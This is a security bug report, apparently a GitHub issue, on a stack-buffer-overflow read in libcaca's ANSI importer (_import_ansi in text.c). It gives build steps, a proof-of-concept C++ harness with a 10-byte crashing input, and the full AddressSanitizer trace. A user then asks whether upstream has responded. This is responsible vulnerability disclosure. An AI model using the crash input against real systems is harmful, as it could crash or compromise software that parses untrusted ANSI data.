[Security] stack-buffer-overflow of text.c in function _import_ansi

[NigelX]

Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment

System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

$ cd libcaca
$ ./bootstrap
$ ./configure
$ make

or

$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb"
$ make

3.Create the poc_ansi.cc && build

#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

void crash(const uint8_t *Data, size_t Size) {

  if(Size<8) return ;
  size_t len=0;
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  caca_create_frame(cv,0);
  caca_set_frame(cv,0);
  caca_import_canvas_from_memory(cv,Data,Size,"ansi");
  caca_free_canvas(cv);
  cv=NULL;

}


int main(int args,char* argv[]){

        size_t  len = 0;
        unsigned char buffer[] = {0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc};
        len = sizeof(buffer)/sizeof(unsigned char);
        printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
        crash((const uint8_t*)buffer,len);

        return 0;

}

4.compile poc_ansi.cc

clang++ -g poc_ansi.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_ansi

5.Run poc_ansi
asan info:

=================================================================
==3763372==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda0164bea at pc 0x7f098d82c310 bp 0x7ffda01647b0 sp 0x7ffda01647a8
READ of size 1 at 0x7ffda0164bea thread T0
    #0 0x7f098d82c30f in _import_ansi /home/hh/Downloads/libcaca/caca/codec/text.c:391:38
    #1 0x4c6c72 in crash(unsigned char const*, unsigned long) /home/hh/Downloads/libcaca/poc_bin.cc:21:3
    #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
    #3 0x7f098d2780b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d)

Address 0x7ffda0164bea is located in stack of thread T0 at offset 42 in frame
    #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28

  This frame has 1 object(s):
    [32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/text.c:391:38 in _import_ansi
Shadow bytes around the buggy address:
  0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2
  0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00
  0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100034024970: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[02]f3 f3
  0x100034024980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100034024990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3763372==ABORTING

Thanks

[hyder365]

Any input from upstream on these security issues?